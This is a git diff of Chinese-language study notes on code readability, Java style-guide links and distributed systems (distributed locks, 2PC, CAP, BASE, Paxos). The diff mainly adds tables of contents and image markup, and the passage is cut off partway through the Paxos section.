+- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index ff52026a..5486a1a7 100644
--- a/docs/notes/代码可读性.md
+++ b/docs/notes/代码可读性.md
@@ -1,4 +1,23 @@
-# 一、可读性的重要性
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、可读性的重要性](#一可读性的重要性)
+* [二、用名字表达代码含义](#二用名字表达代码含义)
+* [三、名字不能带来歧义](#三名字不能带来歧义)
+* [四、良好的代码风格](#四良好的代码风格)
+* [五、为何编写注释](#五为何编写注释)
+* [六、如何编写注释](#六如何编写注释)
+* [七、提高控制流的可读性](#七提高控制流的可读性)
+* [八、拆分长表达式](#八拆分长表达式)
+* [九、变量与可读性](#九变量与可读性)
+* [十、抽取函数](#十抽取函数)
+* [十一、一次只做一件事](#十一一次只做一件事)
+* [十二、用自然语言表述代码](#十二用自然语言表述代码)
+* [十三、减少代码量](#十三减少代码量)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、可读性的重要性
 
 编程有很大一部分时间是在阅读代码，不仅要阅读自己的代码，而且要阅读别人的代码。因此，可读性良好的代码能够大大提高编程效率。
 
@@ -6,50 +25,50 @@
 
 只有在核心领域为了效率才可以放弃可读性，否则可读性是第一位。
 
-# 二、用名字表达代码含义
+# 二、用名字表达代码含义
 
 一些比较有表达力的单词：
 
-|  单词 |  可替代单词 |
-| :---: | --- |
-|  send | deliver、dispatch、announce、distribute、route  |
-| find  |  search、extract、locate、recover |
-| start| launch、create、begin、open|
-| make | create、set up、build、generate、compose、add、new |
+|  单词 |  可替代单词 |
+| :---: | --- |
+|  send | deliver、dispatch、announce、distribute、route  |
+| find  |  search、extract、locate、recover |
+| start| launch、create、begin、open|
+| make | create、set up、build、generate、compose、add、new |
 
-使用 i、j、k 作为循环迭代器的名字过于简单，user_i、member_i 这种名字会更有表达力。因为循环层次越多，代码越难理解，有表达力的迭代器名字可读性会更高。
+使用 i、j、k 作为循环迭代器的名字过于简单，user_i、member_i 这种名字会更有表达力。因为循环层次越多，代码越难理解，有表达力的迭代器名字可读性会更高。
 
 为名字添加形容词等信息能让名字更具有表达力，但是名字也会变长。名字长短的准则是：作用域越大，名字越长。因此只有在短作用域才能使用一些简单名字。
 
-# 三、名字不能带来歧义
+# 三、名字不能带来歧义
 
 起完名字要思考一下别人会对这个名字有何解读，会不会误解了原本想表达的含义。
 
-布尔相关的命名加上 is、can、should、has 等前缀。
+布尔相关的命名加上 is、can、should、has 等前缀。
 
-- 用 min、max 表示数量范围；
-- 用 first、last 表示访问空间的包含范围；
-- begin、end 表示访问空间的排除范围，即 end 不包含尾部。
+- 用 min、max 表示数量范围；
+- 用 first、last 表示访问空间的包含范围；
+- begin、end 表示访问空间的排除范围，即 end 不包含尾部。
 
-![](index_files/05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg)
+<div align="center"> <img src="pics/05907ab4-42c5-4b5e-9388-6617f6c97bea.jpg"/> </div><br>
 
-# 四、良好的代码风格
+# 四、良好的代码风格
 
 适当的空行和缩进。
 
 排列整齐的注释：
 
 ```java
-int a = 1;   // 注释
-int b = 11;  // 注释
-int c = 111; // 注释
+int a = 1;   // 注释
+int b = 11;  // 注释
+int c = 111; // 注释
 ```
 
-语句顺序不能随意，比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致。
+语句顺序不能随意，比如与 html 表单相关联的变量的赋值应该和表单在 html 中的顺序一致。
 
-# 五、为何编写注释
+# 五、为何编写注释
 
-阅读代码首先会注意到注释，如果注释没太大作用，那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释，特别是并不需要为每个方法都加上注释，比如那些简单的 getter 和 setter 方法，为这些方法写注释反而让代码可读性更差。
+阅读代码首先会注意到注释，如果注释没太大作用，那么就会浪费代码阅读的时间。那些能直接看出含义的代码不需要写注释，特别是并不需要为每个方法都加上注释，比如那些简单的 getter 和 setter 方法，为这些方法写注释反而让代码可读性更差。
 
 不能因为有注释就随便起个名字，而是争取起个好名字而不写注释。
 
@@ -57,193 +76,193 @@ int c = 111; // 注释
 
 注释用来提醒一些特殊情况。
 
-用 TODO 等做标记：
+用 TODO 等做标记：
 
-| 标记 | 用法 |
+| 标记 | 用法 |
 |---|---|
-|TODO| 待做 |
-|FIXME| 待修复 |
-|HACK| 粗糙的解决方案 |
-|XXX| 危险！这里有重要的问题 |
+|TODO| 待做 |
+|FIXME| 待修复 |
+|HACK| 粗糙的解决方案 |
+|XXX| 危险！这里有重要的问题 |
 
-# 六、如何编写注释
+# 六、如何编写注释
 
 尽量简洁明了：
 
 ```java
-// The first String is student's name
-// The Second Integer is student's score
-Map<String, Integer> scoreMap = new HashMap<>();
+// The first String is student's name
+// The Second Integer is student's score
+Map<String, Integer> scoreMap = new HashMap<>();
 ```
 
 ```java
-// Student's name -> Student's score
-Map<String, Integer> scoreMap = new HashMap<>();
+// Student's name -> Student's score
+Map<String, Integer> scoreMap = new HashMap<>();
 ```
 
 添加测试用例来说明：
 
 ```java
-// ...
-// Example: add(1, 2), return 3
-int add(int x, int y) {
-    return x + y;
+// ...
+// Example: add(1, 2), return 3
+int add(int x, int y) {
+    return x + y;
 }
 ```
 
 使用专业名词来缩短概念上的解释，比如用设计模式名来说明代码。
 
-# 七、提高控制流的可读性
+# 七、提高控制流的可读性
 
 条件表达式中，左侧是变量，右侧是常数。比如下面第一个语句正确：
 
 ```java
-if (len < 10)
-if (10 > len)
+if (len < 10)
+if (10 > len)
 ```
 
-只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑，否则应该拆分成 if / else；
+只有在逻辑简单的情况下使用 ? : 三目运算符来使代码更紧凑，否则应该拆分成 if / else；
 
-do / while 的条件放在后面，不够简单明了，并且会有一些迷惑的地方，最好使用 while 来代替。
+do / while 的条件放在后面，不够简单明了，并且会有一些迷惑的地方，最好使用 while 来代替。
 
-如果只有一个 goto 目标，那么 goto 尚且还能接受，但是过于复杂的 goto 会让代码可读性特别差，应该避免使用 goto。
+如果只有一个 goto 目标，那么 goto 尚且还能接受，但是过于复杂的 goto 会让代码可读性特别差，应该避免使用 goto。
 
-在嵌套的循环中，用一些 return 语句往往能减少嵌套的层数。
+在嵌套的循环中，用一些 return 语句往往能减少嵌套的层数。
 
-# 八、拆分长表达式
+# 八、拆分长表达式
 
 长表达式的可读性很差，可以引入一些解释变量从而拆分表达式：
 
 ```python
-if line.split(':')[0].strip() == "root":
-    ...
+if line.split(':')[0].strip() == "root":
+    ...
 ```
 ```python
-username = line.split(':')[0].strip()
-if username == "root":
-    ...
+username = line.split(':')[0].strip()
+if username == "root":
+    ...
 ```
 
 使用摩根定理简化一些逻辑表达式：
 
 ```java
-if (!a && !b) {
-    ...
+if (!a && !b) {
+    ...
 }
 ```
 ```java
-if (!(a || b)) {
-    ...
+if (!(a || b)) {
+    ...
 }
 ```
 
-# 九、变量与可读性
+# 九、变量与可读性
 
-**去除控制流变量**。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
+**去除控制流变量** 。在循环中通过使用 break 或者 return 可以减少控制流变量的使用。
 
 ```java
-boolean done = false;
-while (/* condition */ && !done) {
-    ...
-    if ( ... ) {
-        done = true;
-        continue;
-    }
+boolean done = false;
+while (/* condition */ && !done) {
+    ...
+    if ( ... ) {
+        done = true;
+        continue;
+    }
 }
 ```
 
 ```java
-while(/* condition */) {
-    ...
-    if ( ... ) {
-        break;
-    }
+while(/* condition */) {
+    ...
+    if ( ... ) {
+        break;
+    }
 }
 ```
 
-**减小变量作用域**。作用域越小，越容易定位到变量所有使用的地方。
+**减小变量作用域** 。作用域越小，越容易定位到变量所有使用的地方。
 
-JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量，submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量，第二个实现把 submitted 放到匿名函数中，从而限制了起作用域范围。
+JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量，submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量，第二个实现把 submitted 放到匿名函数中，从而限制了起作用域范围。
 
 ```js
-submitted = false;
-var submit_form = function(form_name) {
-    if (submitted) {
-        return;
-    }
-    submitted = true;
+submitted = false;
+var submit_form = function(form_name) {
+    if (submitted) {
+        return;
+    }
+    submitted = true;
 };
 ```
 
 ```js
-var submit_form = (function() {
-    var submitted = false;
-    return function(form_name) {
-        if(submitted) {
-            return;
-        }
-        submitted = true;
-    }
-}());  // () 使得外层匿名函数立即执行
+var submit_form = (function() {
+    var submitted = false;
+    return function(form_name) {
+        if(submitted) {
+            return;
+        }
+        submitted = true;
+    }
+}());  // () 使得外层匿名函数立即执行
 ```
 
-JavaScript 中没有用 var 声明的变量都是全局变量，而全局变量很容易造成迷惑，因此应当总是用 var 来声明变量。
+JavaScript 中没有用 var 声明的变量都是全局变量，而全局变量很容易造成迷惑，因此应当总是用 var 来声明变量。
 
 变量定义的位置应当离它使用的位置最近。
 
-**实例解析**
+**实例解析** 
 
 在一个网页中有以下文本输入字段：
 
 ```html
-<input type = "text" id = "input1" value = "a">
-<input type = "text" id = "input2" value = "b">
-<input type = "text" id = "input3" value = "">
-<input type = "text" id = "input4" value = "d">
+<input type = "text" id = "input1" value = "a">
+<input type = "text" id = "input2" value = "b">
+<input type = "text" id = "input3" value = "">
+<input type = "text" id = "input4" value = "d">
 ```
 
-现在要接受一个字符串并把它放到第一个空的 input 字段中，初始实现如下：
+现在要接受一个字符串并把它放到第一个空的 input 字段中，初始实现如下：
 
 ```js
-var setFirstEmptyInput = function(new_alue) {
-    var found = false;
-    var i = 1;
-    var elem = document.getElementById('input' + i);
-    while (elem != null) {
-        if (elem.value === '') {
-            found = true;
-            break;
-        }
-        i++;
-        elem = document.getElementById('input' + i);
-    }
-    if (found) elem.value = new_value;
-    return elem;
+var setFirstEmptyInput = function(new_alue) {
+    var found = false;
+    var i = 1;
+    var elem = document.getElementById('input' + i);
+    while (elem != null) {
+        if (elem.value === '') {
+            found = true;
+            break;
+        }
+        i++;
+        elem = document.getElementById('input' + i);
+    }
+    if (found) elem.value = new_value;
+    return elem;
 }
 ```
 
 以上实现有以下问题：
 
-- found 可以去除；
-- elem 作用域过大；
-- 可以用 for 循环代替 while 循环；
+- found 可以去除；
+- elem 作用域过大；
+- 可以用 for 循环代替 while 循环；
 
 ```js
-var setFirstEmptyInput = function(new_value) {
-    for (var i = 1; true; i++) {
-        var elem = document.getElementById('input' + i);
-        if (elem === null) {
-            return null;
-        }
-        if (elem.value === '') {
-            elem.value = new_value;
-            return elem;
-        }
-    }
+var setFirstEmptyInput = function(new_value) {
+    for (var i = 1; true; i++) {
+        var elem = document.getElementById('input' + i);
+        if (elem === null) {
+            return null;
+        }
+        if (elem.value === '') {
+            elem.value = new_value;
+            return elem;
+        }
+    }
 };
 ```
 
-# 十、抽取函数
+# 十、抽取函数
 
 工程学就是把大问题拆分成小问题再把这些问题的解决方案放回一起。
 
@@ -252,38 +271,38 @@ var setFirstEmptyInput = function(new_value) {
 介绍性的代码：
 
 ```java
-int findClostElement(int[] arr) {
-    int clostIdx;
-    int clostDist = Interger.MAX_VALUE;
-    for (int i = 0; i < arr.length; i++) {
-        int x = ...;
-        int y = ...;
-        int z = ...;
-        int value = x * y * z;
-        int dist = Math.sqrt(Math.pow(value, 2), Math.pow(arr[i], 2));
-        if (dist < clostDist) {
-            clostIdx = i;
-            clostDist = value;
-        }
-    }
-    return clostIdx;
+int findClostElement(int[] arr) {
+    int clostIdx;
+    int clostDist = Interger.MAX_VALUE;
+    for (int i = 0; i < arr.length; i++) {
+        int x = ...;
+        int y = ...;
+        int z = ...;
+        int value = x * y * z;
+        int dist = Math.sqrt(Math.pow(value, 2), Math.pow(arr[i], 2));
+        if (dist < clostDist) {
+            clostIdx = i;
+            clostDist = value;
+        }
+    }
+    return clostIdx;
 }
 ```
 
 以上代码中循环部分主要计算距离，这部分不属于代码高层次目标，高层次目标是寻找最小距离的值，因此可以把这部分代替提取到独立的函数中。这样做也带来一个额外的好处有：可以单独进行测试、可以快速找到程序错误并修改。
 
 ```java
-public int findClostElement(int[] arr) {
-    int clostIdx;
-    int clostDist = Interger.MAX_VALUE;
-    for (int i = 0; i < arr.length; i++) {
-        int dist = computDist(arr, i);
-        if (dist < clostDist) {
-            clostIdx = i;
-            clostDist = value;
-        }
-    }
-    return clostIdx;
+public int findClostElement(int[] arr) {
+    int clostIdx;
+    int clostDist = Interger.MAX_VALUE;
+    for (int i = 0; i < arr.length; i++) {
+        int dist = computDist(arr, i);
+        if (dist < clostDist) {
+            clostIdx = i;
+            clostDist = value;
+        }
+    }
+    return clostIdx;
 }
 ```
 
@@ -291,22 +310,22 @@ public int findClostElement(int[] arr) {
 
 函数抽取也用于减小代码的冗余。
 
-# 十一、一次只做一件事
+# 十一、一次只做一件事
 
 只做一件事的代码很容易让人知道其要做的事；
 
 基本流程：列出代码所做的所有任务；把每个任务拆分到不同的函数，或者不同的段落。
 
-# 十二、用自然语言表述代码
+# 十二、用自然语言表述代码
 
 先用自然语言书写代码逻辑，也就是伪代码，然后再写代码，这样代码逻辑会更清晰。
 
-# 十三、减少代码量
+# 十三、减少代码量
 
 不要过度设计，编码过程会有很多变化，过度设计的内容到最后往往是无用的。
 
 多用标准库实现。
 
-# 参考资料
+# 参考资料
 
-- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
\ No newline at end of file
+- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index a56acc39..2630a604 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,3 +1,8 @@
-- [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
-- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
-- [阿里巴巴Java开发手册](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+<!-- GFM-TOC -->
+
+
+- [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
+- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
+- [阿里巴巴Java开发手册](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index 694d96b4..ac7e06dc 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,335 +1,345 @@
-# 一、分布式锁
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、分布式锁](#一分布式锁)
+    * [数据库的唯一索引](#数据库的唯一索引)
+    * [Redis 的 SETNX 指令](#redis-的-setnx-指令)
+    * [Redis 的 RedLock 算法](#redis-的-redlock-算法)
+    * [Zookeeper 的有序节点](#zookeeper-的有序节点)
+* [二、分布式事务](#二分布式事务)
+    * [本地消息表](#本地消息表)
+    * [2PC](#2pc)
+* [三、CAP](#三cap)
+    * [一致性](#一致性)
+    * [可用性](#可用性)
+    * [分区容忍性](#分区容忍性)
+    * [权衡](#权衡)
+* [四、BASE](#四base)
+    * [基本可用](#基本可用)
+    * [软状态](#软状态)
+    * [最终一致性](#最终一致性)
+* [五、Paxos](#五paxos)
+    * [执行过程](#执行过程)
+    * [约束条件](#约束条件)
+* [六、Raft](#六raft)
+    * [单个 Candidate 的竞选](#单个-candidate-的竞选)
+    * [多个 Candidate 竞选](#多个-candidate-竞选)
+    * [数据同步](#数据同步)
+* [参考](#参考)
+<!-- GFM-TOC -->
+
+
+# 一、分布式锁
 
 在单机场景下，可以使用语言的内置锁来实现进程同步。但是在分布式场景下，需要同步的进程可能位于不同的节点上，那么就需要使用分布式锁。
 
 阻塞锁通常使用互斥量来实现：
 
-- 互斥量为 0 表示有其它进程在使用锁，此时处于锁定状态；
-- 互斥量为 1 表示未锁定状态。
+- 互斥量为 0 表示有其它进程在使用锁，此时处于锁定状态；
+- 互斥量为 1 表示未锁定状态。
 
-1 和 0 可以用一个整型值表示，也可以用某个数据是否存在表示。
+1 和 0 可以用一个整型值表示，也可以用某个数据是否存在表示。
 
-## 数据库的唯一索引
+## 数据库的唯一索引
 
 获得锁时向表中插入一条记录，释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次，那么就可以用这个记录是否存在来判断是否存于锁定状态。
 
 存在以下几个问题：
 
-- 锁没有失效时间，解锁失败的话其它进程无法再获得该锁。
-- 只能是非阻塞锁，插入失败直接就报错了，无法重试。
-- 不可重入，已经获得锁的进程也必须重新获取锁。
+- 锁没有失效时间，解锁失败的话其它进程无法再获得该锁。
+- 只能是非阻塞锁，插入失败直接就报错了，无法重试。
+- 不可重入，已经获得锁的进程也必须重新获取锁。
 
-## Redis 的 SETNX 指令
+## Redis 的 SETNX 指令
 
-使用 SETNX（set if not exist）指令插入一个键值对，如果 Key 已经存在，那么会返回 False，否则插入成功并返回 True。
+使用 SETNX（set if not exist）指令插入一个键值对，如果 Key 已经存在，那么会返回 False，否则插入成功并返回 True。
 
-SETNX 指令和数据库的唯一索引类似，保证了只存在一个 Key 的键值对，那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
+SETNX 指令和数据库的唯一索引类似，保证了只存在一个 Key 的键值对，那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
 
-EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了数据库唯一索引实现方式中释放锁失败的问题。
+EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了数据库唯一索引实现方式中释放锁失败的问题。
 
-## Redis 的 RedLock 算法
+## Redis 的 RedLock 算法
 
-使用了多个 Redis 实例来实现分布式锁，这是为了保证在发生单点故障时仍然可用。
+使用了多个 Redis 实例来实现分布式锁，这是为了保证在发生单点故障时仍然可用。
 
-- 尝试从 N 个相互独立 Redis 实例获取锁；
-- 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N / 2 + 1）实例上获取了锁，那么就认为锁获取成功了；
-- 如果锁获取失败，就到每个实例上释放锁。
+- 尝试从 N 个相互独立 Redis 实例获取锁；
+- 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N / 2 + 1）实例上获取了锁，那么就认为锁获取成功了；
+- 如果锁获取失败，就到每个实例上释放锁。
 
-## Zookeeper 的有序节点
+## Zookeeper 的有序节点
 
-### 1. Zookeeper 抽象模型
+### 1. Zookeeper 抽象模型
 
-Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点的父节点为 /app1。
+Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点的父节点为 /app1。
 
-<img src="index_files/31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/>
+<div align="center"> <img src="pics/31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
 
-### 2. 节点类型
+### 2. 节点类型
 
-- 永久节点：不会因为会话结束或者超时而消失；
-- 临时节点：如果会话结束或者超时就会消失；
-- 有序节点：会在节点名的后面加一个数字后缀，并且是有序的，例如生成的有序节点为 /lock/node-0000000000，它的下一个有序节点则为 /lock/node-0000000001，以此类推。
+- 永久节点：不会因为会话结束或者超时而消失；
+- 临时节点：如果会话结束或者超时就会消失；
+- 有序节点：会在节点名的后面加一个数字后缀，并且是有序的，例如生成的有序节点为 /lock/node-0000000000，它的下一个有序节点则为 /lock/node-0000000001，以此类推。
 
-### 3. 监听器
+### 3. 监听器
 
 为一个节点注册监听器，在节点状态发生改变时，会给客户端发送消息。
 
-### 4. 分布式锁实现
+### 4. 分布式锁实现
 
-- 创建一个锁目录 /lock；
-- 当一个客户端需要获取锁时，在 /lock 下创建临时的且有序的子节点；
--  客户端获取 /lock 下的子节点列表，判断自己创建的子节点是否为当前子节点列表中序号最小的子节点，如果是则认为获得锁；否则监听自己的前一个子节点，获得子节点的变更通知后重复此步骤直至获得锁；
-- 执行业务代码，完成后，删除对应的子节点。
+- 创建一个锁目录 /lock；
+- 当一个客户端需要获取锁时，在 /lock 下创建临时的且有序的子节点；
+-  客户端获取 /lock 下的子节点列表，判断自己创建的子节点是否为当前子节点列表中序号最小的子节点，如果是则认为获得锁；否则监听自己的前一个子节点，获得子节点的变更通知后重复此步骤直至获得锁；
+- 执行业务代码，完成后，删除对应的子节点。
 
-### 5. 会话超时
+### 5. 会话超时
 
-如果一个已经获得锁的会话超时了，因为创建的是临时节点，所以该会话对应的临时节点会被删除，其它会话就可以获得锁了。可以看到，Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
+如果一个已经获得锁的会话超时了，因为创建的是临时节点，所以该会话对应的临时节点会被删除，其它会话就可以获得锁了。可以看到，Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
 
-### 6. 羊群效应
+### 6. 羊群效应
 
 一个节点未获得锁，只需要监听自己的前一个子节点，这是因为如果监听所有的子节点，那么任意一个子节点状态改变，其它所有子节点都会收到通知（羊群效应），而我们只希望它的后一个子节点收到通知。
 
-# 二、分布式事务
+# 二、分布式事务
 
-指事务的操作位于不同的节点上，需要保证事务的 ACID 特性。
+指事务的操作位于不同的节点上，需要保证事务的 ACID 特性。
 
 例如在下单场景下，库存和订单如果不在同一个节点上，就涉及分布式事务。
 
-## 本地消息表
+## 本地消息表
 
 本地消息表与业务数据表处于同一个数据库中，这样就能利用本地事务来保证在对这两个表的操作满足事务特性，并且使用了消息队列来保证最终一致性。
 
-1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息，本地事务能保证这个消息一定会被写入本地消息表中。
-2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中，如果转发成功则将消息从本地消息表中删除，否则继续重新转发。
-3. 在分布式事务操作的另一方从消息队列中读取一个消息，并执行消息中的操作。
+1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息，本地事务能保证这个消息一定会被写入本地消息表中。
+2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中，如果转发成功则将消息从本地消息表中删除，否则继续重新转发。
+3. 在分布式事务操作的另一方从消息队列中读取一个消息，并执行消息中的操作。
 
-![](index_files/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg)
+<div align="center"> <img src="pics/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
 
-## 2PC
+## 2PC
 
-两阶段提交（Two-phase Commit，2PC），通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
+两阶段提交（Two-phase Commit，2PC），通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
 
-### 1. 运行过程
+### 1. 运行过程
 
-#### 1.1 准备阶段
+#### 1.1 准备阶段
 
 协调者询问参与者事务是否执行成功，参与者发回事务执行结果。
 
-![](index_files/04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg)
+<div align="center"> <img src="pics/04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
 
-#### 1.2 提交阶段
+#### 1.2 提交阶段
 
 如果事务在每个参与者上都执行成功，事务协调者发送通知让参与者提交事务；否则，协调者发送通知让参与者回滚事务。
 
 需要注意的是，在准备阶段，参与者执行了事务，但是还未提交。只有在提交阶段接收到协调者发来的通知后，才进行提交或者回滚。
 
-![](index_files/2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg)
+<div align="center"> <img src="pics/2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
 
-### 2. 存在的问题
+### 2. 存在的问题
 
-#### 2.1 同步阻塞
+#### 2.1 同步阻塞
 
 所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态，无法进行其它操作。
 
-#### 2.2 单点问题
+#### 2.2 单点问题
 
-协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响。特别是在阶段二发生故障，所有参与者会一直等待，无法完成其它操作。
+协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响。特别是在阶段二发生故障，所有参与者会一直等待，无法完成其它操作。
 
-#### 2.3 数据不一致
+#### 2.3 数据不一致
 
-在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。
+在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。
 
-#### 2.4 太过保守
+#### 2.4 太过保守
 
 任意一个节点失败就会导致整个事务失败，没有完善的容错机制。
 
-# 三、CAP
+# 三、CAP
 
-分布式系统不可能同时满足一致性（C：Consistency）、可用性（A：Availability）和分区容忍性（P：Partition Tolerance），最多只能同时满足其中两项。
+分布式系统不可能同时满足一致性（C：Consistency）、可用性（A：Availability）和分区容忍性（P：Partition Tolerance），最多只能同时满足其中两项。
 
-![](index_files/f1109d04-3c67-48a3-9963-2c475f94e175.jpg)
+<div align="center"> <img src="pics/f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
 
-## 一致性
+## 一致性
 
 一致性指的是多个数据副本是否能保持一致的特性，在一致性的条件下，系统在执行数据更新操作之后能够从一致性状态转移到另一个一致性状态。
 
 对系统的一个数据更新成功之后，如果所有用户都能够读取到最新的值，该系统就被认为具有强一致性。
 
-## 可用性
+## 可用性
 
-可用性指分布式系统在面对各种异常时可以提供正常服务的能力，可以用系统可用时间占总时间的比值来衡量，4 个 9 的可用性表示系统 99.99% 的时间是可用的。
+可用性指分布式系统在面对各种异常时可以提供正常服务的能力，可以用系统可用时间占总时间的比值来衡量，4 个 9 的可用性表示系统 99.99% 的时间是可用的。
 
 在可用性条件下，要求系统提供的服务一直处于可用的状态，对于用户的每一个操作请求总是能够在有限的时间内返回结果。
 
-## 分区容忍性
+## 分区容忍性
 
 网络分区指分布式系统中的节点被划分为多个区域，每个区域内部可以通信，但是区域之间无法通信。
 
 在分区容忍性条件下，分布式系统在遇到任何网络分区故障的时候，仍然需要能对外提供一致性和可用性的服务，除非是整个网络环境都发生了故障。
 
-## 权衡
+## 权衡
 
-在分布式系统中，分区容忍性必不可少，因为需要总是假设网络是不可靠的。因此，CAP 理论实际上是要在可用性和一致性之间做权衡。
+在分布式系统中，分区容忍性必不可少，因为需要总是假设网络是不可靠的。因此，CAP 理论实际上是要在可用性和一致性之间做权衡。
 
 可用性和一致性往往是冲突的，很难使它们同时满足。在多个节点之间进行数据同步时，
 
-- 为了保证一致性（CP），不能访问未同步完成的节点，也就失去了部分可用性；
-- 为了保证可用性（AP），允许读取所有节点的数据，但是数据可能不一致。
+- 为了保证一致性（CP），不能访问未同步完成的节点，也就失去了部分可用性；
+- 为了保证可用性（AP），允许读取所有节点的数据，但是数据可能不一致。
 
-![](index_files/0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg)
+<div align="center"> <img src="pics/0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
 
-# 四、BASE
+# 四、BASE
 
-BASE 是基本可用（Basically Available）、软状态（Soft State）和最终一致性（Eventually Consistent）三个短语的缩写。
+BASE 是基本可用（Basically Available）、软状态（Soft State）和最终一致性（Eventually Consistent）三个短语的缩写。
 
-BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
+BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
 
-![](index_files/bc603930-d74d-4499-a3e7-2d740fc07f33.png)
+<div align="center"> <img src="pics/bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
 
-## 基本可用
+## 基本可用
 
 指分布式系统在出现故障的时候，保证核心可用，允许损失部分可用性。
 
 例如，电商在做促销时，为了保证购物系统的稳定性，部分消费者可能会被引导到一个降级的页面。
 
-## 软状态
+## 软状态
 
 指允许系统中的数据存在中间状态，并认为该中间状态不会影响系统整体可用性，即允许系统不同节点的数据副本之间进行同步的过程存在时延。
 
-## 最终一致性
+## 最终一致性
 
 最终一致性强调的是系统中所有的数据副本，在经过一段时间的同步后，最终能达到一致的状态。
 
-ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE 要求最终一致性，通过牺牲强一致性来达到可用性，通常运用在大型分布式系统中。
+ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE 要求最终一致性，通过牺牲强一致性来达到可用性，通常运用在大型分布式系统中。
 
-在实际的分布式场景中，不同业务单元和组件对一致性的要求是不同的，因此 ACID 和 BASE 往往会结合在一起使用。
+在实际的分布式场景中，不同业务单元和组件对一致性的要求是不同的，因此 ACID 和 BASE 往往会结合在一起使用。
 
-# 五、Paxos
+# 五、Paxos
 
 用于达成共识性问题，即对多个节点产生的值，该算法能保证只选出唯一一个值。
 
 主要有三类节点：
 
-- 提议者（Proposer）：提议一个值；
-- 接受者（Acceptor）：对每个提议进行投票；
